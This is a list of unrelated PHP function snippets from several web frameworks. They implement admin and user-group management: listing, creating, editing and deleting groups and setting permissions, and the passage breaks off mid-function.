"public function usersubgroupAction(){\n\t\n\t\t#loading the configration\n\t\t$sm = $this->getServiceLocator(); \n\t\t$basePath = $sm->get('Request')->getBasePath();\t#get the base path\t \n\t\t\n\t\t$this->getViewHelper('HeadScript')->appendFile($basePath.'/js/jquery.min.js','text/javascript');\n\t\t$this->getViewHelper('HeadScript')->appendFile($basePath.'/js/1625.js','text/javascript');\t\t\n\t\t\n\t\ttry {\t\n\t\t\t$request = $this->getRequest();\t\t\n\t\t\t$group_id= $this->params('group_id');\t \n\t\t\t$userData =array();\t///this will hold data from y2m_user table\n\t\t\t$groupData =array();\n\t\t\t$userSubGroups =array();\t\t\t\t\t\n\t\t\t$auth = new AuthenticationService();\t\n\t\t\t$identity = null; \n\t\t\tif ($auth->hasIdentity()) {\n \t// Identity exists; get it\n \t\t$identity = $auth->getIdentity();\t\t\t\t\n\t\t\t\t#fetch the user palnestes\n\t\t\t\t$suggestSubGroup =array();\n\t\t\t\t #check the identity againts the DB\n\t\t\t\t$userData = $this->getUserTable()->getUser($identity->user_id);\t\t\t\t\n\t\t\t\tif(isset($userData->user_id) && !empty($userData->user_id) && isset($group_id) && !empty($group_id)){\t\t\t\t\n\t\t\t\t\t#get Group Info\n\t\t\t\t\t$groupData = $this->getGroupTable()->getGroup($group_id);\t\n\t\t\t\t\tif(isset($groupData->group_id) && !empty($groupData->group_id)){\t\t\t\t\t\t\n\t\t\t\t\t\t#fetch all subgroups of users fffor that group Id\n\t\t\t\t\t\t$userSubGroups = $this->getUserGroupTable()->fetchAllUserSubGroup($userData->user_id, $groupData->group_id);\t\t\t\t\t\t\t\t \t\n\t\t\t\t\t} //if(isset($userData->user_id) && !empty($userData->user_id)\n\t\t\t\t} //if(isset($userData->user_id) && !empty($userData->user_id) && isset($group_id) && !empty($group_id))\n\t\t\t} //if ($auth->hasIdentity()) \t\t \n\t\t} catch (\\Exception $e) {\n //\techo \"Caught exception: \" . get_class($e) . \"\\n\";\n \t\t\t//echo \"Message: \" . $e->getMessage() . \"\\n\";\t\t\t \n \t\t}\t\n\t\t$viewModel = new ViewModel(array('userData' => $userData,'groupData' => $groupData,'userSubGroups' => $userSubGroups));\n \t$viewModel->setTerminal($request->isXmlHttpRequest());\n \treturn $viewModel;\t\t \t\t\n\t}",
"public function admin_index() {\n\t\t\t$this->layout = \"default2\";\n\t\t\t$users = $this->User->find('all', array(\n\t\t\t\t'fields'=>array('id', 'username', 'mail', 'groups_id')\n\t\t\t\t)\n\t\t\t);\n\t \t\t$this->set(compact('users'));\n\t\t}",
"function superadmin_create() {\n\t\t$errors ='';\n\t\t\n\t\t\n\t\t\n\t\t$this->Role->set($this->request->data);\n\t\t\n\t\t\tif(!empty($this->data['Role']) && $this->data['SUBMIT']=='SUBMIT') {\n\t\t\n\t\t\n\t\tif(!$this->Role->validates()) \n\t\t\t{\n\t\t\t\t$errorsArr = $this->Role->validationErrors;\t\n\t\t\t\t\n\t\t\t}\n\t\t\n\t\t\n\t\t\t\n\t\t\tif($errorsArr) {\n\t\t\t //\t$this->Session->setFlash($errors);\n\t\t\t\t$this->set('errors',$errorsArr);\n\t\t\t\t $this->set('data',$this->data);\n\t\t\t}\n\t\t\telse \n\t\t\t{ \n\t\t\t$userpermissions='';\n\t\t\t /*if(in_array($this->params['controller'].'/'.substr($this->params['action'],5),$userpermissions) || $this->Session->read('Auth.Adminuser.role_id')==1) {\n\t\t\t\t $this->data['Role']['allowedfunctions']= $this->common->arrayToCsvString($this->data['Role']['allowedfunctions']);\n\t\t\t\t }\t*/\t\t\t \t \t\n\t\t\t\tif($this->Role->save($this->data)) {\n\t\t\t\t$this->Session->write('popup','User Group has been created successfully.');\n\t\t\t\t\t$this->Session->setFlash('User Group has been created successfully.'); \n\t\t\t\t\t$this->redirect(array('controller'=>'roles','action' => \"index/message:success\"));\n\t\t\t\t}\t\n\t\t\t\telse {\n\t\t\t\t\t$this->Session->setFlash('Data save problem, Please try again.'); \n\t\t\t\t}\t\n\t\t\t}//end if not error\n\t\t}// end if of check data array\n\t }",
"public function create()\n\t{\t\t\n $user = $this->ion_auth->user()->row();\n if(isset($_POST['submit']))\n\t\t{\t\t\t\n\t\t\t$this->form_validation->set_rules('name', lang('mm_masters_rolemodule_name'), 'required');\n\t\t\t$this->form_validation->set_rules('description', lang('mm_masters_rolemodule_description'), 'required');\n\t\t\t\n if ($this->form_validation->run() == true)\n\t\t\t{\n\t\t\t\t$value_array=array(\n\t\t\t\t\t'name'\t\t\t\t=>\tstrtolower($this->input->post('name')),\n\t\t\t\t\t'description'\t\t=>\t$this->input->post('description'),\n\t\t\t\t);\n\n\t\t\t\t$moduleID = $this->input->post('module_id');\n\n\t\t\t\t\n\t\t\t\tif($this->input->post('id')!='')\n\t\t\t\t{\n\t\t\t\t\t$where_array=array(\n\t\t\t\t\t\t'id'\t\t\t =>\t$this->input->post('id')\n\t\t\t\t\t);\n\t\t\t\t\t$resultupdate=$this->mcommon->common_edit1('groups',$value_array,$where_array);\n\t\t\t\t\tif($resultupdate){\t\t\t\t\t\t\n\t\t\t\t\t\t$this->mcommon->common_delete('user_group_module', array('group_id'=>$this->input->post('id')));\n\t\t\t\t\t\tif(isset($moduleID)){\n\t\t\t\t\t\t\tforeach ($moduleID as $key => $value) {\n\t\t\t\t\t\t\t\t$value_array1=array(\n\t\t\t\t\t\t\t\t\t'group_id'\t\t=>\t$this->input->post('id'),\n\t\t\t\t\t\t\t\t\t'module_id'\t\t=>\t$value\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t$this->mcommon->common_insert('user_group_module',$value_array1);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{ \n\t\t\t\t\t$result=$this->mcommon->common_insert('groups',$value_array);\n\t\t\t\t\tif($result){\t\t\t\t\t\t\n\t\t\t\t\t\t$this->mcommon->common_delete('user_group_module', array('group_id'=>$this->input->post('id')));\n\t\t\t\t\t\tif(isset($moduleID)){\n\t\t\t\t\t\t\tforeach ($moduleID as $key => $value) {\n\t\t\t\t\t\t\t\t$value_array1=array(\n\t\t\t\t\t\t\t\t\t'group_id'\t\t=>\t$this->input->post('id'),\n\t\t\t\t\t\t\t\t\t'module_id'\t\t=>\t$value\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t$this->mcommon->common_insert('user_group_module',$value_array1);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t}\n\t\tif($result)\n\t\t{\n\t\t\t$this->session->set_flashdata('res', lang('common_message_create'));\n\t\t\t$this->session->set_flashdata('res_type', 'success');\n\t\t\tredirect(base_url().'admin/RoleModule');\n\t\t}\n\t\tif($resultupdate)\n\t\t{\n\t\t\t$this->session->set_flashdata('res', lang('common_message_update'));\n\t\t\t$this->session->set_flashdata('res_type', 'success');\n\t\t\tredirect(base_url().'admin/RoleModule');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->addUpdateForm($data);\n\t\t}\n\t}",
"public function editGroupController()\n {\n // mazání\n if($this->getRequestParam('action', false) == 'delete'\n && $this->getRequestParam('id', false) != null){\n (new Shop_Model_AttributesGroups())->delete($this->getRequestParam('id'));\n $this->infoMsg()->addMessage($this->tr('Skupina byla smazána'));\n $this->link()->rmParam('action')->rmParam('id')->redirect();\n }\n // přesun\n else if($this->getRequestParam('action', false) == 'changepos'\n && $this->getRequestParam('id', false) != null\n && $this->getRequestParam('pos', false) != null\n ){\n Shop_Model_AttributesGroups::changeOrder(\n $this->getRequestParam('id'),\n $this->getRequestParam('pos')\n );\n\n $this->infoMsg()->addMessage($this->tr('Skupina byla přesunuta na novou pozici'));\n $this->link()\n ->rmParam('action')\n ->rmParam('id')\n ->rmParam('pos')\n ->redirect();\n }\n\n // úprava a přidání\n $this->formEditGroup();\n }",
"public function listGroupAdmin() {\n $group = (string)$this->object->info->info->form->group;\n $items = $this->object->getValues($group, true);\n $listItems = '';\n foreach ($items as $key=>$item) {\n $sortableListClass = ($this->object->hasOrd()) ? 'sortableList' : '';\n $list = new ListObjects($this->type, array('where'=>$group.'=\"'.$key.'\"',\n 'function'=>'Admin',\n 'order'=>$this->orderField()));\n $listItems .= '<div class=\"lineAdminBlock\">\n <div class=\"lineAdminTitle\">'.$item.'</div>\n <div class=\"lineAdminItems\">\n <div class=\"listAdmin '.$sortableListClass.'\" rel=\"'.url($this->type.'/sortSave/', true).'\">\n '.$list->showList(array('function'=>'Admin',\n 'message'=>'<div class=\"message\">'.__('noItems').'</div>'),\n array('userType'=>$this->login->get('type'))).'\n </div>\n </div>\n </div>';\n }\n return '<div class=\"lineAdminBlockWrapper\">'.$listItems.'</div>';\n }",
"function fantacalcio_admin_groups_list() {\n $out = \"\";\n \n $out .= l(\"Aggiungi girone\", \"admin/fantacalcio/groups/add\", array(\n \"attributes\" => array(\"class\" => \"btn btn-info\"))) . \"<br/><br/>\";\n \n $groups = Group::all();\n $competitions = Competition::all();\n if ($groups) {\n $header = array(\n t(\"Girone\"), \n t(\"Attivo\"), \n t(\"Calendario\"), \n t(\"Classfica\"), \n t(\"Formazioni\"), \n t(\"Newsletter\"));\n foreach ($groups as $g_id => $group) {\n $rows[] = array(\n l($competitions[$group->competition_id]->name . \" - \" . $group->name, \"admin/fantacalcio/groups/\" . $g_id), \n fantacalcio_check_value($group->active), \n \n // \"<img src='\" .base_path() . drupal_get_path(\"module\", \"fantacalcio\") . \"/images/\" . get_image_check($group->active) . \"'>\",\n $group->matches_order, \n $group->standings_order, \n $group->lineups_order, \n $group->newsletters_order);\n }\n $out .= theme(\"table\", (array(\n \"header\" => $header, \n \"rows\" => $rows, \n \"attributes\" => array(\"class\" => array(\"table\", \"table-responsive\")), \n \"empty\" => t(\"Nessun gruppo\"))));\n }\n \n return $out;\n}",
"public function test_admin_group_list()\n {\n $this->request('POST', 'pages/Login',['username'=>'superadmin-samuel','password'=>'J6gDEXs1yUxB7ssa9QtDRsk=']);\n $this->request('GET', ['pages/Assignments', 'group_list']);\n $this->assertResponseCode(404);\n }",
"public static function getAllGroups($entriesOnly = FALSE) {\n global $lC_Database, $lC_Language, $_module;\n\n $lC_Language->loadIniFile('administrators.php');\n \n $media = $_GET['media']; \n\n $QadminGroups = $lC_Database->query('select id, name from :table_administrators_groups order by id');\n $QadminGroups->bindTable(':table_administrators_groups', TABLE_ADMINISTRATORS_GROUPS);\n $QadminGroups->execute();\n\n $result = array('entries' => array());\n $result = array('aaData' => array());\n while ( $QadminGroups->next() ) {\n $name = '<td>' . $QadminGroups->valueProtected('name') . '</td>';\n $modules = '<td class=\"hide-on-tablet\">' . self::getAccessBlocks($QadminGroups->valueInt('id')) . '</td>';\n $members = '<td>' . self::getTotalMembers($QadminGroups->valueInt('id')) . '</td>';\n $action = '<td class=\"align-right vertical-center\"><span class=\"button-group compact\">\n <a href=\"' . ((int)($_SESSION['admin']['access'][$_module] < 3) ? '#' : lc_href_link_admin(FILENAME_DEFAULT, 'administrators&set=access&gid=' . $QadminGroups->valueInt('id'))) . '\" class=\"button icon-pencil ' . ((int)($_SESSION['admin']['access'][$_module] < 3) ? 'disabled' : NULL) . '\">' . (($media === 'mobile-portrait' || $media === 'mobile-landscape') ? NULL : $lC_Language->get('icon_edit')) . '</a>\n <a href=\"' . ((int)($_SESSION['admin']['access'][$_module] < 4) ? '#' : 'javascript://\" onclick=\"deleteGroup(\\'' . $QadminGroups->valueInt('id') . '\\', \\'' . urlencode($QadminGroups->valueProtected('name')) . '\\')') . '\" class=\"button icon-trash with-tooltip ' . ((int)($_SESSION['admin']['access'][$_module] < 4) ? 'disabled' : NULL) . '\" title=\"' . $lC_Language->get('icon_delete') . '\"></a></span></td>';\n // modification of default top level admin is prohibited\n if ($QadminGroups->valueInt('id') == '1' || $QadminGroups->value('name') == $lC_Language->get('text_top_administrator')) $action = '';\n $result['aaData'][] = array(\"$name\", \"$modules\", \"$members\", \"$action\");\n $result['entries'][] = $QadminGroups->toArray();\n }\n\n $QadminGroups->freeResult();\n\n if ($entriesOnly) return $result['entries'];\n return $result;\n }",
"function getAdminInterface() {\n\n\t\t$this->template = 'admin/user.tpl';\n\t\t\n\t\t$this->addJS('/modules/User/js/admin.js');\n\n\t\tif (!$this->user->hasPerm('viewusermodule')) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tswitch ( @$_REQUEST ['section']) {\n\t\t\tcase 'deleteUser';\n\t\t\t\t$user = new User($_REQUEST['id']);\n\t\t\t\t$user->delete();\n\t\t\t\t$this->setupMainList();\n\t\t\t\t$this->template = 'admin/user.tpl';\n\t\t\t\tbreak;\n\t\t\tcase 'deleteGroup':\n\t\t\t\t$group = new Group($_REQUEST['id']);\n\t\t\t\t$group->delete();\n\t\t\t\t$groups = Group::getGroups();\n\t\t\t\t$this->smarty->assign('groups', $groups);\n\t\t\t\treturn $this->smarty->fetch('admin/groups.tpl');\n\t\t\t\tbreak;\n\t\t\tcase 'groups':\n\t\t\t\t$this->template = 'admin/groups.tpl';\n\t\t\t\t$groups = Group::getGroups();\n\t\t\t\t$this->smarty->assign('groups', $groups);\n\t\t\t\tbreak;\n\t\t\tcase 'groupsaddedit':\n\t\t\t\t\n\t\t\t\t$form = Group::getAddEditForm();\n\t\t\t\t\n\t\t\t\tif ($form->validate() && $form->isSubmitted() && (isset($_REQUEST['submit']))) {\n\t\t\t\t\t$groups = Group::getGroups();\n\t\t\t\t\t$this->smarty->assign('groups', $groups);\n\t\t\t\t\treturn $this->smarty->fetch('admin/groups.tpl');\n\t\t\t\t} else {\n\t\t\t\t\treturn $form->display();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbreak;\n\n\t\t\tcase 'permissions':\n\t\t\t\tif (isset($_REQUEST['perm']) && isset($_REQUEST['group'])) {\n\t\t\t\t\t$group = new Group($_REQUEST['group']);\n\t\t\t\t\t$group->togglePerm($_REQUEST['perm']);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->template = 'admin/permissions.tpl';\n\t\t\t\t$groups = Group::getGroups();\n\t\t\t\t$permissions = Permission::getPermissions();\n\t\t\t\t$this->smarty->assign('permissions', $permissions);\n\t\t\t\t$this->smarty->assign('groups', $groups);\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\tcase 'userTable':\n\t\t\t\t$this->setupMainList();\n\t\t\t\t$this->template = 'admin/user_table.tpl';\n\t\t\t\tbreak;\n\t\t\tcase 'addedit':\n\t\t\t\t$form = $this->getUserAddEditForm('/admin/User', true);\n\t\t\t\t\n\t\t\t\tif ($form->validate() && $form->isSubmitted() && (isset($_REQUEST['a_submit']) || isset($_REQUEST['a_cancel']))) {\n\t\t\t\t\t$this->setupMainList();\n\t\t\t\t\treturn $this->smarty->fetch( 'admin/user.tpl' );\n\t\t\t\t} else {\n\t\t\t\t\treturn $form->display();\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$this->setupMainList();\n\t\t\t\tbreak;\n\t\t}\n\t\treturn $this->smarty->fetch( $this->template );\n\t}",
"public function editGroup(Request $request, Group $group)\n {\n // Update name and save\n $group[Constants::FLD_GROUPS_NAME] = $request->get('name');\n\n if ($group->save()) {\n\n // Remove add admins then reattach\n $group->admins()->detach();\n\n // Update admins\n $admins = explode(\",\", $request->get('admins'));\n\n $admins = User::whereIn('username', $admins)->get(); //It's a Collection but a Model is needed\n foreach ($admins as $admin) {\n if ($admin[Constants::FLD_USERS_ID] != Auth::user()[Constants::FLD_USERS_ID])\n $group->admins()->save($admin);\n }\n } else { // return error message\n \\Session::flash(\"messages\", [\"Sorry, Group was not saved. Please retry later\"]);\n return redirect(route(Constants::ROUTES_GROUPS_INDEX));\n }\n\n return redirect(route(Constants::ROUTES_GROUPS_DISPLAY, $group[Constants::FLD_GROUPS_ID]));\n }",
"public function index()\n\t{\n\t\t//\n\t\t$group = admin_group::all();\n\t\t\n\t\treturn view('admin.auth.group.index',['ret' => $group]);\n\t}",
"function update_group_memberships()\n {\n if (! is_null($this->group_id))\n {\n $group_users_arr = $this->viewer->get_group_users($this->group_id);\n $group_users = array();\n \n foreach ($group_users_arr as $user)\n {\n $group_users[$user->get_id()] = $user->get_id();\n }\n \n $values = $this->exportValue(Manager::PARAM_GROUP_USERS);\n \n foreach ($values as $type => $elements)\n {\n foreach ($elements as $id)\n {\n if ($type == self::PARAM_USER)\n {\n // type = user\n if (! in_array($id, $group_users))\n {\n if (! $this->viewer->user_is_enrolled_in_group($id))\n {\n $this->viewer->add_user_to_group($id, $this->group_id); // user can be enrolled in one\n // PA-group/publication\n }\n else\n {\n $user = \\Chamilo\\Core\\User\\Storage\\DataManager::retrieve_by_id(\n \\Chamilo\\Core\\User\\Storage\\DataClass\\User::class_name(), \n $id);\n $already_enrolled[] = $user->get_firstname() . ' ' . $user->get_lastname();\n }\n }\n else\n {\n unset($group_users[$id]);\n }\n }\n // type = group\n elseif ($type == self::PARAM_GROUP)\n {\n $context_group_users = $this->viewer->get_context_group_users($id);\n \n foreach ($context_group_users as $user)\n {\n if (! in_array($user->get_id(), $group_users))\n {\n if (! $this->viewer->user_is_enrolled_in_group($user->get_id()))\n {\n $this->viewer->add_user_to_group($user->get_id(), $this->group_id); // user can be\n // enrolled in\n // one\n // PA-group/publication\n }\n else\n {\n $already_enrolled[] = $user->get_firstname() . ' ' . $user->get_lastname();\n }\n }\n else\n {\n unset($group_users[$id]);\n }\n }\n }\n }\n }\n \n // remove remaining users\n foreach ($group_users as $user_id)\n {\n $this->viewer->remove_user_from_group($user_id, $this->group_id);\n }\n }\n \n if (count($already_enrolled) > 0)\n $this->enroll_errors = implode(',', $already_enrolled) . ' ' . Translation::get('AlreadyEnrolled');\n }",
"function addUserGroups()\n {\n Log::add('User groups added in installation script', JLog::DEBUG, 'com_cajobboard');\n\n $db = JFactory::getDbo();\n\n // Get the PK of the \"Registered\" user group\n $query = $db->getQuery(true);\n\n $query\n ->select ($db->quoteName(array('id', 'title')))\n ->from ($db->quoteName('#__usergroups'))\n ->where ($db->quoteName('title') . ' = '. $db->quote('Registered'));\n\n $db->setQuery($query);\n\n $registeredGroupId = $db->loadResult();\n\n unset($query);\n\n // Get a list of all of the existing user groups so we don't duplicate adding ones we want\n $query = $db->getQuery(true);\n\n $query\n ->select ($db->quoteName('title'))\n ->from ($db->quoteName('#__usergroups'));\n\n $db->setQuery($query);\n\n $existingUserGroups = $db->loadColumn();\n\n // Add our new user groups\n foreach ($this->userGroups as $userGroup)\n {\n if (!in_array($userGroup, $existingUserGroups))\n {\n $groupModel = Table::getInstance('Usergroup');\n\n $groupModel->save(array(\n 'title' => $userGroup,\n 'parent_id' => $registeredGroupId\n ));\n }\n }\n\n Table::getInstance('Usergroup')->rebuild();\n }",
"private function _show_list_of_groups() {\n // show groups of current user\n // create group button\n $this->load->model('membership_model');\n \n $user_id = $this->session->userdata('user')['id'];\n\n $where = array(\n 'm.user_id' => $user_id,\n 'm.status' => 1,\n 'g.status' => 1\n );\n \n $groups = $this->membership_model->fetch($where);\n\n // 1 is owner\n $where['m.type'] = 1;\n // allow status 2 for my groups for hidden\n // 0 is deleted\n unset($where['g.status']);\n $where['g.status !='] = 0;\n $my_groups = $this->membership_model->fetch($where);\n \n // membership type 2 is normal member\n $where['m.type'] = 2;\n $where['g.status'] = 1;\n $other_groups = $this->membership_model->fetch($where);\n\n // can be any type for invited\n unset($where['m.type']);\n $where['m.status'] = 2;\n $invited_groups = $this->membership_model->fetch($where);\n \n $data = array(\n 'title' => 'Groups',\n 'msg' => $this->session->flashdata('msg'),\n 'groups' => $groups,\n 'my_groups' => $my_groups,\n 'other_groups' => $other_groups,\n 'invited_groups' => $invited_groups\n );\n $this->_view(\n array('templates/nav', 'pages/dashboard/groups', 'alerts/msg'),\n array_merge($this->_nav_items, $data)\n );\n }",
"function edit( $id = false )\n{\n$this->load->library('form_validation');\nswitch ( $_SERVER ['REQUEST_METHOD'] )\n{\ncase 'GET':\n$this->model_group->raw_data = TRUE;\n$data = $this->model_group->get( $id );\n$fields = $this->model_group->fields();\n$this->template->assign( 'action_mode', 'edit' );\n$this->template->assign( 'group_data', $data );\n$this->template->assign( 'group_fields', $fields );\n$this->template->assign( 'metadata', $this->model_group->metadata() );\n$this->template->assign( 'table_name', 'Group' );\n$this->template->assign( 'template', 'form_group' );\n$this->template->assign( 'record_id', $id );\n$this->template->display( 'frame_admin.tpl' );\nbreak;\ncase 'POST':\n$fields = $this->model_group->fields();\n/* we set the rules */\n/* don't forget to edit these */\n$this->form_validation->set_rules( 'group_name', lang('group_name'), 'required|max_length[255]' );\n$this->form_validation->set_rules( 'permission', lang('permission'), 'required' );\n$data_post['group_name'] = $this->input->post( 'group_name' );\n$data_post['permission'] = $this->input->post( 'permission' );\nif ( $this->form_validation->run() == FALSE )\n{\n$errors = validation_errors();\n$this->template->assign( 'action_mode', 'edit' );\n$this->template->assign( 'errors', $errors );\n$this->template->assign( 'group_data', $data_post );\n$this->template->assign( 'group_fields', $fields );\n$this->template->assign( 'metadata', $this->model_group->metadata() );\n$this->template->assign( 'table_name', 'Group' );\n$this->template->assign( 'template', 'form_group' );\n$this->template->assign( 'record_id', $id );\n$this->template->display( 'frame_admin.tpl' );\n}\nelseif ( $this->form_validation->run() == TRUE )\n{\n$this->model_group->update( $id, $data_post );\nredirect( 'group/show/' . $id ); \n}\nbreak;\n}\n}",
"public function create()\n {\n $special_users=Company::find(Auth::User()->company_id)->hasUserGroups()->get();\n $id[]='';\n for($i=0; $i<count($special_users); $i++){\n $id[]=$special_users[$i]->administrator;\n }\n\n \n\t\t\t\n\t\t\treturn Redirect::to('special/usergroup')->with('success','Special user does not have the ability to create a group. Below are the existing groups that you administer');\n }",
"public function initUserGroups() {}",
"public function deleteAction(){\n $this->title = 'Delete user group';\n \n $form = new DeleteForm();\n $groupModel = new Group();\n \n if ($this->getRequest()->isPost()) {\n if($form->isValid($this->getRequest()->getPost())) {\n $groupModel->deleteById($form->getValue('id'));\n $this->_helper->FlashMessenger(\n array(\n 'msg-success' => 'The group was successfully deleted.',\n )\n );\n \n $this->_redirect('/groups/');\n }\n }else{\n $id = $this->_getParam('id');\n $row = $groupModel->findById($id);\n \n $identity=Zend_Auth::getInstance()->getIdentity();\n \t $userGroupModel = new AdminUserGroup();\n $userGroupId = $userGroupModel->findByUserId($identity->id);\n \n if ($id == $userGroupId[0]['group_id']) {\n $this->_helper->FlashMessenger(\n array(\n 'msg-error' => 'You can\\'t delete the group you are a member of.',\n )\n );\n \n $this->_redirect('/groups/');\n }\n if(in_array($id,array(1,2,3,4))){\n $this->_helper->FlashMessenger(\n array(\n 'msg-error' => 'You can not delete default user groups',\n )\n );\n \n $this->_redirect('/groups/');\n }\n if (empty($row)) {\n $this->_helper->FlashMessenger(\n array(\n 'msg-success' => sprintf('We cannot find group with id %s', $id),\n )\n );\n $this->_redirect('/groups/');\n }\n \n $form->populate($row);\n $this->view->item = $row;\n }\n \n $this->view->form = $form;\n }",
"public function index() {\n return view('groups.index', ['groups'=>Auth::user()->groups]);\n }",
"public function run()\n {\n $usersGroup = [\n ['parent_id' => 0,'title' => 'Administrator','description' => 'Administrator Group User'],\n ['parent_id' => 0,'title' => 'Guest','description' => 'Guest Group User']\n ];\n\n DB::table('usergroups')->insert($usersGroup);\n\n\n }",
"function editMemberGroup($msg='', $group_id = null)\n {\n // ------------------------------------\n // Only super admins can administrate member groups\n // ------------------------------------\n\n if (Session::userdata('group_id') != 1) {\n return Cp::unauthorizedAccess(__('members.only_superadmins_can_admin_groups'));\n }\n\n $clone_id = Request::input('clone_id');\n\n // Incoming from a continue editing button?\n if (empty($group_id)) {\n $group_id = Request::input('group_id');\n }\n\n $id = (!empty($clone_id)) ? $clone_id : $group_id;\n\n // ------------------------------------\n // Fetch the Group's Data\n // ------------------------------------\n\n if (!empty($id)) {\n $group_data = (array) DB::table('member_groups')->where('group_id', $id)->first();\n $preferences = DB::table('member_group_preferences')->where('group_id', $id)->get();\n\n foreach($preferences as $row) {\n $group_data[$row->handle] = $row->value;\n }\n }\n\n if(empty($group_data['is_locked'])) {\n $group_data['is_locked'] = 'y';\n }\n\n // ------------------------------------\n // Group title\n // ------------------------------------\n\n $group_name = ($group_id == '') ? '' : $group_data['group_name'];\n $group_description = ($group_id == '') ? '' : $group_data['group_description'];\n\n if ($msg != '') {\n Cp::$body .= Cp::quickDiv('successMessage', $msg);\n }\n\n Cp::$body_props .= ' onload=\"showHideMenu(\\'group_name\\');\"';\n\n // ------------------------------------\n // Declare form and page heading\n // ------------------------------------\n\n $js = <<<EOT\n<script type=\"text/javascript\">\n var lastShownObj = '';\n var lastShownColor = '';\n function showHideMenu(objValue)\n {\n if (lastShownObj != '') {\n $('#' + lastShownObj+'_pointer a').first().removeAttr('style');\n\n $('#' + lastShownObj + '_on').css('display', 'none');\n }\n\n lastShownObj = objValue;\n lastShownColor = $('#' + lastShownObj+'_pointer a').first().css('color');\n\n $('#' + objValue + '_on').css('display', 'block');\n lastShownColor = $('#' + lastShownObj+'_pointer a').first().css('color', '#000')\n }\n</script>\nEOT;\n\n Cp::$body .= $js;\n\n $r = Cp::formOpen(\n [\n 'action' => 'C=Administration'.AMP.'M=members'.AMP.'P=updateMemberGroup'\n ]\n );\n\n if ($clone_id != '')\n {\n $group_name = '';\n $group_description = '';\n $r .= Cp::input_hidden('clone_id', $clone_id);\n }\n\n $r .= Cp::input_hidden('group_id', $group_id);\n\n // ------------------------------------\n // Group name form field\n // ------------------------------------\n\n $r .= '<div id=\"group_name_on\" style=\"display: none; padding:0; margin: 0;\">'.\n Cp::table('tableBorder', '0', '', '100%').\n '<tr>'.PHP_EOL.\n \"<td class='tableHeadingAlt' colspan='2'>\".\n NBS.__('members.group_name').\n '</tr>'.PHP_EOL.\n '<tr>'.PHP_EOL.\n Cp::td('', '40%').\n Cp::quickDiv('defaultBold', __('members.group_name')).\n '</td>'.PHP_EOL.\n Cp::td('', '60%').\n Cp::input_text('group_name', $group_name, '50', '70', 'input', '100%').\n '</td>'.PHP_EOL.\n '</tr>'.PHP_EOL.\n '</tr>'.PHP_EOL.\n '<tr>'.PHP_EOL.\n Cp::td('', '40%', '', '', 'top').\n Cp::quickDiv('defaultBold', __('members.group_description')).\n '</td>'.PHP_EOL.\n Cp::td('', '60%').\n Cp::input_textarea('group_description', $group_description, 10).\n '</td>'.PHP_EOL.\n '</tr>'.PHP_EOL.\n '</table>'.PHP_EOL.\n Cp::quickDiv('defaultSmall', '');\n\n // ------------------------------------\n // Top section of page\n // ------------------------------------\n\n if ($group_id == 1)\n {\n $r .= Cp::quickDiv('box', __('members.super_admin_edit_note'));\n }\n else\n {\n $r .= Cp::quickDiv('box', Cp::quickSpan('alert', __('members.warning')).' '.__('members.be_careful_assigning_groups'));\n }\n\n $r .= Cp::quickDiv('defaultSmall', '');\n\n $r .= '</div>'.PHP_EOL;\n\n // ------------------------------------\n // Group lock\n // ------------------------------------\n\n $r .= '<div id=\"group_lock_on\" style=\"display: none; padding:0; margin: 0;\">';\n\n $r .= Cp::table('tableBorder', '0', '', '100%');\n\n $r .= '<tr>'.PHP_EOL.\n Cp::td('tableHeadingAlt', '', '2').__('members.group_lock').\n '</td>'.PHP_EOL.\n '</tr>'.PHP_EOL;\n\n $r .= '<tr>'.PHP_EOL.\n Cp::td('', '60%').\n Cp::quickDiv('alert', __('members.enable_lock')).\n Cp::quickDiv('littlePadding', __('members.lock_description')).\n '</td>'.PHP_EOL.\n Cp::td('', '40%');\n\n $selected = ($group_data['is_locked'] == 'y') ? true : false;\n\n $r .= __('members.locked').NBS.\n Cp::input_radio('is_locked', 'y', $selected).' ';\n\n $selected = ($group_data['is_locked'] == 'n') ? true : false;\n\n $r .= __('members.unlocked').NBS.\n Cp::input_radio('is_locked', 'n', $selected).' ';\n\n $r .= '</td>'.PHP_EOL.\n '</tr>'.PHP_EOL.\n '</table>'.PHP_EOL.\n '</div>'.PHP_EOL;\n\n // ------------------------------------\n // Fetch the names and IDs of all weblogs\n // ------------------------------------\n\n $blog_names = [];\n $blog_ids = [];\n\n $query = DB::table('weblogs')\n ->orderBy('blog_title')\n ->select('weblog_id', 'site_id', 'blog_title')\n ->get();\n\n if ($id != 1)\n {\n foreach($query as $row)\n {\n $field = 'weblog_id_'.$row->weblog_id;\n\n $status = (isset($group_data[$field]) && $group_data[$field] == 'y') ? 'y' : 'n';\n\n $blog_names[$field] = $row->blog_title;\n $group_data[$field] = $status;\n }\n }\n\n // ------------------------------------\n // Fetch the names and IDs of all plugins\n // ------------------------------------\n\n $plugins = Plugins::list();\n $plugin_names = [];\n $plugin_ids = [];\n\n if ($id != 1)\n {\n foreach(Plugins::list() as $plugin)\n {\n $name = __(strtolower($plugin->plugin_name . '_plugin_name'));\n $name = str_replace('_', ' ', $name);\n $name = ($name == '' ? $plugin->plugin_name : $name);\n\n $field = 'plugin_name_'.$plugin->plugin_name;\n\n $status = (isset($group_data[$field]) && $group_data[$field] == 'y') ? 'y' : 'n';\n\n $plugin_names[$field] = $name;\n $group_data[$field] = $status;\n }\n }\n\n // ------------------------------------\n // Fetch the names and IDs of all Sites\n // ------------------------------------\n\n $site_cp_names = [];\n $site_offline_names = [];\n $site_ids = []; // Figure out where I am storing these\n\n if ($id != 1) {\n foreach(Site::sitesList() as $site) {\n\n $field = 'can_access_offline_site_id_'.$site->site_id;\n $site_offline_names[$field] = $site->site_name;\n $status = (isset($group_data[$field]) && $group_data[$field] == 'y') ? 'y' : 'n';\n $group_data[$field] = $status;\n\n $field = 'can_access_cp_site_id_'.$site->site_id;\n $site_cp_names[$field] = 